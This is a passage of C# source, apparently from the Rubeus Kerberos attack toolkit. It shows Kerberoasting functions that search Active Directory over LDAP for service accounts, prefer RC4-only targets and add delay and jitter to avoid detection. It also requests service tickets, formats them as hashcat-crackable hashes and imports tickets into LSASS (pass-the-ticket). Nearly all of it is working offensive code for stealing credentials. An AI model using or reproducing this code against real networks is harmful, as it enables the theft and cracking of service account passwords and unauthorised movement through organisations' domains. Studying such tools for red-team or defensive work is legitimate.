// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
if (display)
{
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
if (!String.IsNullOrEmpty(outfile))
{
outfile = Helpers.MakeValidFileName(outfile);
if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
{
if (display)
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
}
}
}
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, new Interop.LUID());
}
return(kirbiBytes);
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
return(null);
}
public static void Kerberoast(string spn = "", List <string> spns = null, string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, int delay = 0, int jitter = 0, bool userStats = false, bool enterprise = false, bool autoenterprise = false)
{
if (userStats)
{
Console.WriteLine("[*] Listing statistics about target users, no ticket requests being performed.");
}
else if (TGT != null)
{
Console.WriteLine("[*] Using a TGT /ticket to request service tickets");
}
else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec"))
{
Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user");
byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false);
TGT = new KRB_CRED(delegTGTbytes);
Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else");
}
else
{
Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts.");
Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n");
}
if ((enterprise) && ((TGT == null) || ((String.IsNullOrEmpty(spn)) && (spns != null) && (spns.Count == 0))))
{
Console.WriteLine("[X] To use Enterprise Principals, /spn or /spns has to be specified, along with either /ticket or /tgtdeleg");
return;
}
if (delay != 0)
{
Console.WriteLine($"[*] Using a delay of {delay} milliseconds between TGS requests.");
if (jitter != 0)
{
Console.WriteLine($"[*] Using a jitter of {jitter}% between TGS requests.");
}
Console.WriteLine();
}
if (!String.IsNullOrEmpty(spn))
{
Console.WriteLine("\r\n[*] Target SPN : {0}", spn);
if (TGT != null)
{
// if a TGT .kirbi is supplied, use that for the request
// this could be a passed TGT or if TGT delegation is specified
GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac);
}
else
{
// otherwise use the KerberosRequestorSecurityToken method
GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile);
}
}
else if ((spns != null) && (spns.Count != 0))
{
foreach (string s in spns)
{
Console.WriteLine("\r\n[*] Target SPN : {0}", s);
if (TGT != null)
{
// if a TGT .kirbi is supplied, use that for the request
// this could be a passed TGT or if TGT delegation is specified
GetTGSRepHash(TGT, s, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac);
}
else
{
// otherwise use the KerberosRequestorSecurityToken method
GetTGSRepHash(s, "USER", "DISTINGUISHEDNAME", cred, outFile);
}
}
}
else
{
if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName)))
{
if (!String.IsNullOrEmpty(userName))
{
if (userName.Contains(","))
{
Console.WriteLine("[*] Target Users : {0}", userName);
}
else
{
Console.WriteLine("[*] Target User : {0}", userName);
}
}
if (!String.IsNullOrEmpty(domain))
{
Console.WriteLine("[*] Target Domain : {0}", domain);
}
if (!String.IsNullOrEmpty(OUName))
{
Console.WriteLine("[*] Target OU : {0}", OUName);
}
}
// inject ticket for LDAP search if supplied
if (TGT != null)
{
byte[] kirbiBytes = null;
string ticketDomain = TGT.enc_part.ticket_info[0].prealm;
if (String.IsNullOrEmpty(domain))
{
// if a domain isn't specified, use the domain from the referral
domain = ticketDomain;
}
// referral TGT is in use, we need a service ticket for LDAP on the DC to perform the domain searcher
if (ticketDomain != domain)
{
if (String.IsNullOrEmpty(dc))
{
dc = Networking.GetDCName(domain);
}
string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0];
Ticket ticket = TGT.tickets[0];
byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype;
// check if we've been given an IP for the DC, we'll need the name for the LDAP service ticket
Match match = Regex.Match(dc, @"([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}|(\d{1,3}\.){3}\d{1,3}");
if (match.Success)
{
System.Net.IPAddress dcIP = System.Net.IPAddress.Parse(dc);
System.Net.IPHostEntry dcInfo = System.Net.Dns.GetHostEntry(dcIP);
dc = dcInfo.HostName;
}
// request a service tickt for LDAP on the target DC
kirbiBytes = Ask.TGS(tgtUserName, ticketDomain, ticket, clientKey, etype, string.Format("ldap/{0}", dc), etype, null, false, dc, false, enterprise, false);
}
// otherwise inject the TGT to perform the domain searcher
else
{
kirbiBytes = TGT.Encode().Encode();
}
LSA.ImportTicket(kirbiBytes, new LUID());
}
DirectoryEntry directoryObject = null;
DirectorySearcher userSearcher = null;
try
{
directoryObject = Networking.GetLdapSearchRoot(cred, OUName, dc, domain);
userSearcher = new DirectorySearcher(directoryObject);
// enable LDAP paged search to get all results, by pages of 1000 items
userSearcher.PageSize = 1000;
}
catch (Exception ex)
{
if (ex.InnerException != null)
{
Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message);
}
else
{
Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message);
}
return;
}
// check to ensure that the bind worked correctly
try
{
string dirPath = directoryObject.Path;
if (String.IsNullOrEmpty(dirPath))
{
Console.WriteLine("[*] Searching the current domain for Kerberoastable users");
}
else
{
Console.WriteLine("[*] Searching path '{0}' for Kerberoastable users", dirPath);
}
}
catch (DirectoryServicesCOMException ex)
{
if (!String.IsNullOrEmpty(OUName))
{
Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message);
}
else
{
Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message);
}
return;
}
try
{
string userFilter = "";
if (!String.IsNullOrEmpty(userName))
{
if (userName.Contains(","))
{
// searching for multiple specified users, ensuring they're not disabled accounts
string userPart = "";
foreach (string user in userName.Split(','))
{
userPart += String.Format("(samAccountName={0})", user);
}
userFilter = String.Format("(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", userPart);
}
else
{
// searching for a specified user, ensuring it's not a disabled account
userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName);
}
}
else
{
// if no user specified, filter out the krbtgt account and disabled accounts
userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))";
}
string encFilter = "";
if (String.Equals(supportedEType, "rc4opsec"))
{
// "opsec" RC4, meaning don't RC4 roast accounts that support AES
Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES");
encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
}
else if (String.Equals(supportedEType, "aes"))
{
// msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256
Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96");
encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
}
// Note: I originally thought that if enctypes included AES but DIDN'T include RC4,
// then RC4 tickets would NOT be returned, so the original filter was:
// !msds-supportedencryptiontypes=* -> null supported etypes, so RC4
// msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4
// msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4
// userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))";
// But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯
// so this fine-grained filtering is not needed
string userSearchFilter = "";
if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore)))
{
if (String.IsNullOrEmpty(pwdSetAfter))
{
pwdSetAfter = "01-01-1601";
}
if (String.IsNullOrEmpty(pwdSetBefore))
{
pwdSetBefore = "01-01-2100";
}
Console.WriteLine("[*] Searching for accounts with lastpwdset from {0} to {1}", pwdSetAfter, pwdSetBefore);
try
{
DateTime timeFromConverted = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null);
DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null);
string timePeriod = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")";
userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod);
}
catch
{
Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'");
return;
}
}
else
{
userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter);
}
if (!String.IsNullOrEmpty(ldapFilter))
{
userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter);
}
userSearcher.Filter = userSearchFilter;
}
catch (Exception ex)
{
Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message);
return;
}
try
{
if (resultLimit > 0)
{
userSearcher.SizeLimit = resultLimit;
Console.WriteLine("[*] Up to {0} result(s) will be returned", resultLimit.ToString());
}
SearchResultCollection users = userSearcher.FindAll();
if (users.Count == 0)
{
Console.WriteLine("\r\n[X] No users found to Kerberoast!");
}
else
{
Console.WriteLine("\r\n[*] Total kerberoastable users : {0}\r\n", users.Count);
}
// used to keep track of user encryption types
SortedDictionary <Interop.SUPPORTED_ETYPE, int> userETypes = new SortedDictionary <Interop.SUPPORTED_ETYPE, int>();
// used to keep track of years that users had passwords last set in
SortedDictionary <int, int> userPWDsetYears = new SortedDictionary <int, int>();
foreach (SearchResult user in users)
{
string samAccountName = user.Properties["samAccountName"][0].ToString();
string distinguishedName = user.Properties["distinguishedName"][0].ToString();
string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString();
DateTime?pwdLastSet = null;
if (user.Properties.Contains("pwdlastset"))
{
long lastPwdSet = (long)(user.Properties["pwdlastset"][0]);
pwdLastSet = DateTime.FromFileTimeUtc(lastPwdSet);
}
Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0;
if (user.Properties.Contains("msDS-SupportedEncryptionTypes"))
{
supportedETypes = (Interop.SUPPORTED_ETYPE)user.Properties["msDS-SupportedEncryptionTypes"][0];
}
if (!userETypes.ContainsKey(supportedETypes))
{
userETypes[supportedETypes] = 1;
}
else
{
userETypes[supportedETypes] = userETypes[supportedETypes] + 1;
}
if (pwdLastSet == null)
{
// pwdLastSet == null with new accounts and
// when a password is set to never expire
if (!userPWDsetYears.ContainsKey(-1))
{
userPWDsetYears[-1] = 1;
}
else
{
userPWDsetYears[-1] += 1;
}
}
else
{
int year = pwdLastSet.Value.Year;
if (!userPWDsetYears.ContainsKey(year))
{
userPWDsetYears[year] = 1;
}
else
{
userPWDsetYears[year] += 1;
}
}
if (!userStats)
{
if (!simpleOutput)
{
Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName);
Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName);
Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName);
Console.WriteLine("[*] PwdLastSet : {0}", pwdLastSet);
Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes);
}
if ((!String.IsNullOrEmpty(domain)) && (TGT == null))
{
servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain);
}
if (TGT != null)
{
// if a TGT .kirbi is supplied, use that for the request
// this could be a passed TGT or if TGT delegation is specified
if (String.Equals(supportedEType, "rc4") &&
(
((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) ||
((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96)
)
)
{
// if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4
bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac);
Helpers.RandomDelayWithJitter(delay, jitter);
if (!result && autoenterprise)
{
Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal");
servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain);
GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc, Interop.KERB_ETYPE.rc4_hmac);
Helpers.RandomDelayWithJitter(delay, jitter);
}
}
else
{
// otherwise don't force RC4 - have all supported encryption types for opsec reasons
bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc);
Helpers.RandomDelayWithJitter(delay, jitter);
if (!result && autoenterprise)
{
Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal");
servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain);
GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc);
Helpers.RandomDelayWithJitter(delay, jitter);
}
}
}
else
{
// otherwise use the KerberosRequestorSecurityToken method
GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput);
Helpers.RandomDelayWithJitter(delay, jitter);
}
}
}
if (userStats)
{
var eTypeTable = new ConsoleTable("Supported Encryption Type", "Count");
var pwdLastSetTable = new ConsoleTable("Password Last Set Year", "Count");
Console.WriteLine();
// display stats about the users found
foreach (var item in userETypes)
{
eTypeTable.AddRow(item.Key.ToString(), item.Value.ToString());
}
eTypeTable.Write();
foreach (var item in userPWDsetYears)
{
pwdLastSetTable.AddRow(item.Key.ToString(), item.Value.ToString());
}
pwdLastSetTable.Write();
}
}
catch (Exception ex)
{
Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex);
return;
}
}
if (!String.IsNullOrEmpty(outFile))
{
Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile));
}
}
public static void DisplayTGShash(KRB_CRED cred, bool kerberoastDisplay = false, string kerberoastUser = "******", string kerberoastDomain = "DOMAIN", string outFile = "", bool simpleOutput = false)
{
// output the hash of the encrypted KERB-CRED service ticket in a kerberoast hash form
int encType = cred.tickets[0].enc_part.etype;
string userName = string.Join("@", cred.enc_part.ticket_info[0].pname.name_string.ToArray());
string domainName = cred.enc_part.ticket_info[0].prealm;
string sname = string.Join("/", cred.enc_part.ticket_info[0].sname.name_string.ToArray());
string cipherText = BitConverter.ToString(cred.tickets[0].enc_part.cipher).Replace("-", string.Empty);
string hash = "";
//Aes needs to be treated differently, as the checksum is the last 24, not the first 32.
if ((encType == 18) || (encType == 17))
{
int checksumStart = cipherText.Length - 24;
//Enclose SPN in *s rather than username, realm and SPN. This doesn't impact cracking, but might affect loading into hashcat.
hash = String.Format("$krb5tgs${0}${1}${2}$*{3}*${4}${5}", encType, kerberoastUser, kerberoastDomain, sname, cipherText.Substring(checksumStart), cipherText.Substring(0, checksumStart));
}
//if encType==23
else
{
hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, kerberoastUser, kerberoastDomain, sname, cipherText.Substring(0, 32), cipherText.Substring(32));
}
if (!String.IsNullOrEmpty(outFile))
{
string outFilePath = Path.GetFullPath(outFile);
try
{
File.AppendAllText(outFilePath, hash + Environment.NewLine);
}
catch (Exception e)
{
Console.WriteLine("Exception: {0}", e.Message);
}
Console.WriteLine("[*] Hash written to {0}", outFilePath);
}
else if (simpleOutput)
{
Console.WriteLine(hash);
}
else
{
bool header = false;
if (Rubeus.Program.wrapTickets)
{
foreach (string line in Helpers.Split(hash, 80))
{
if (!header)
{
if (kerberoastDisplay)
{
Console.WriteLine("[*] Hash : {0}", line);
}
else
{
Console.WriteLine(" Kerberoast Hash : {0}", line);
}
}
else
{
if (kerberoastDisplay)
{
Console.WriteLine(" {0}", line);
}
else
{
Console.WriteLine(" {0}", line);
}
}
header = true;
}
}
else
{
if (kerberoastDisplay)
{
Console.WriteLine("[*] Hash : {0}", hash);
}
else
{
Console.WriteLine(" Kerberoast Hash : {0}", hash);
}
}
}
}
public static void Kerberoast(string spn = "", string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", int resultLimit = 0)
{
Console.WriteLine("\r\n[*] Action: Kerberoasting\r\n");
if (TGT != null)
{
Console.WriteLine("[*] Using a TGT /ticket to request service tickets");
}
else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec"))
{
Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user");
byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false);
TGT = new KRB_CRED(delegTGTbytes);
Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else");
}
else
{
Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts.");
Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n");
}
if (!String.IsNullOrEmpty(spn))
{
Console.WriteLine("\r\n[*] Target SPN : {0}", spn);
if (TGT != null)
{
// if a TGT .kirbi is supplied, use that for the request
// this could be a passed TGT or if TGT delegation is specified
GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, dc, Interop.KERB_ETYPE.rc4_hmac);
}
else
{
// otherwise use the KerberosRequestorSecurityToken method
GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile);
}
}
else
{
if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName)))
{
if (!String.IsNullOrEmpty(userName))
{
Console.WriteLine("[*] Target User : {0}", userName);
}
if (!String.IsNullOrEmpty(domain))
{
Console.WriteLine("[*] Target Domain : {0}", domain);
}
if (!String.IsNullOrEmpty(OUName))
{
Console.WriteLine("[*] Target OU : {0}", OUName);
}
}
DirectoryEntry directoryObject = null;
DirectorySearcher userSearcher = null;
string bindPath = "";
string domainPath = "";
try
{
if (cred != null)
{
if (!String.IsNullOrEmpty(OUName))
{
string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath);
}
else
{
bindPath = String.Format("LDAP://{0}", cred.Domain);
}
}
else if ((!String.IsNullOrEmpty(domain)) || !String.IsNullOrEmpty(OUName))
{
if (String.IsNullOrEmpty(dc))
{
dc = Networking.GetDCName();
}
bindPath = String.Format("LDAP://{0}", dc);
if (!String.IsNullOrEmpty(OUName))
{
string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
bindPath = String.Format("{0}/{1}", bindPath, ouPath);
}
else if (!String.IsNullOrEmpty(domain))
{
domainPath = domain.Replace(".", ",DC=");
bindPath = String.Format("{0}/DC={1}", bindPath, domainPath);
}
}
if (!String.IsNullOrEmpty(bindPath))
{
directoryObject = new DirectoryEntry(bindPath);
}
else
{
directoryObject = new DirectoryEntry();
}
if (cred != null)
{
// if we're using alternate credentials for the connection
string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName);
directoryObject.Username = userDomain;
directoryObject.Password = cred.Password;
using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain))
{
if (!pc.ValidateCredentials(cred.UserName, cred.Password))
{
Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain);
return;
}
else
{
Console.WriteLine("[*] Using alternate creds : {0}", userDomain);
}
}
}
userSearcher = new DirectorySearcher(directoryObject);
}
catch (Exception ex)
{
Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message);
return;
}
// check to ensure that the bind worked correctly
try
{
string dirPath = directoryObject.Path;
if (String.IsNullOrEmpty(dirPath))
{
Console.WriteLine("[*] Searching the current domain for Kerberoastable users");
}
else
{
Console.WriteLine("[*] Searching path '{0}' for Kerberoastable users", dirPath);
}
}
catch (DirectoryServicesCOMException ex)
{
if (!String.IsNullOrEmpty(OUName))
{
Console.WriteLine("\r\n[X] Error creating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message);
}
else
{
Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message);
}
return;
}
try
{
string userFilter = "";
if (!String.IsNullOrEmpty(userName))
{
// searching for a specified user, ensuring it's not a disabled account
userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName);
}
else
{
// if no user specified, filter out the krbtgt account and disabled accounts
userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))";
}
string encFilter = "";
if (String.Equals(supportedEType, "rc4opsec"))
{
// "opsec" RC4, meaning don't RC4 roast accounts that support AES
Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES");
encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
}
else if (String.Equals(supportedEType, "aes"))
{
// msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256
Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96");
encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
}
// Note: I originally thought that if enctypes included AES but DIDN'T include RC4,
// then RC4 tickets would NOT be returned, so the original filter was:
// !msds-supportedencryptiontypes=* -> null supported etypes, so RC4
// msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4
// msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4
// userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))";
// But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯
// so this fine-grained filtering is not needed
string userSearchFilter = "";
if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore)))
{
if (String.IsNullOrEmpty(pwdSetAfter))
{
pwdSetAfter = "01-01-1601";
}
if (String.IsNullOrEmpty(pwdSetBefore))
{
pwdSetBefore = "01-01-2100";
}
Console.WriteLine("[*] Searching for accounts with lastpwdset from " + pwdSetAfter + " to " + pwdSetBefore);
try
{
DateTime timeFromConverted = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null);
DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null);
string timePeriod = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")";
userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod);
}
catch
{
Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'");
return;
}
}
else
{
userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter);
}
userSearcher.Filter = userSearchFilter;
}
catch (Exception ex)
{
Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message);
return;
}
try
{
if (resultLimit > 0)
{
userSearcher.SizeLimit = resultLimit;
Console.WriteLine("[*] Up to {0} result(s) will be returned", resultLimit.ToString());
}
SearchResultCollection users = userSearcher.FindAll();
if (users.Count == 0)
{
Console.WriteLine("\r\n[X] No users found to Kerberoast!");
}
else
{
Console.WriteLine("\r\n[*] Found {0} user(s) to Kerberoast!", users.Count);
}
foreach (SearchResult user in users)
{
string samAccountName = user.Properties["samAccountName"][0].ToString();
string distinguishedName = user.Properties["distinguishedName"][0].ToString();
string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString();
long lastPwdSet = (long)(user.Properties["pwdlastset"][0]);
DateTime pwdLastSet = DateTime.FromFileTimeUtc(lastPwdSet);
Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0;
if (user.Properties.Contains("msDS-SupportedEncryptionTypes"))
{
supportedETypes = (Interop.SUPPORTED_ETYPE)user.Properties["msDS-SupportedEncryptionTypes"][0];
}
Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName);
Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName);
Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName);
Console.WriteLine("[*] PwdLastSet : {0}", pwdLastSet);
Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes);
if (!String.IsNullOrEmpty(domain))
{
servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain);
}
if (TGT != null)
{
// if a TGT .kirbi is supplied, use that for the request
// this could be a passed TGT or if TGT delegation is specified
if (String.Equals(supportedEType, "rc4") &&
(
((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) ||
((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96)
)
)
{
// if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4
GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, dc, Interop.KERB_ETYPE.rc4_hmac);
}
else
{
// otherwise don't force RC4 - have all supported encryption types for opsec reasons
GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, dc);
}
}
else
{
// otherwise use the KerberosRequestorSecurityToken method
GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile);
}
}
}
catch (Exception ex)
{
Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message);
return;
}
}
if (!String.IsNullOrEmpty(outFile))
{
Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile));
}
}
private static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string keyString, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, AS_REQ asReq = null, string serviceKey = "", bool getCredentials = false, string dcIP = "")
{
// parse the response to an AS-REP
AS_REP rep = new AS_REP(responseAsn);
// convert the key string to bytes
byte[] key;
if (GetPKInitRequest(asReq, out PA_PK_AS_REQ pkAsReq))
{
// generate the decryption key using Diffie Hellman shared secret
PA_PK_AS_REP pkAsRep = (PA_PK_AS_REP)rep.padata[0].value;
key = pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPublicKey.DepadLeft(), new byte[0],
pkAsRep.DHRepInfo.ServerDHNonce, GetKeySize(etype));
}
else
{
// convert the key string to bytes
key = Helpers.StringToByteArray(asReq.keyString);
}
// decrypt the enc_part containing the session key/etc.
// TODO: error checking on the decryption "failing"...
byte[] outBytes;
if (etype == Interop.KERB_ETYPE.des_cbc_md5)
{
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.rc4_hmac)
{
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1)
{
// KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
{
// KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
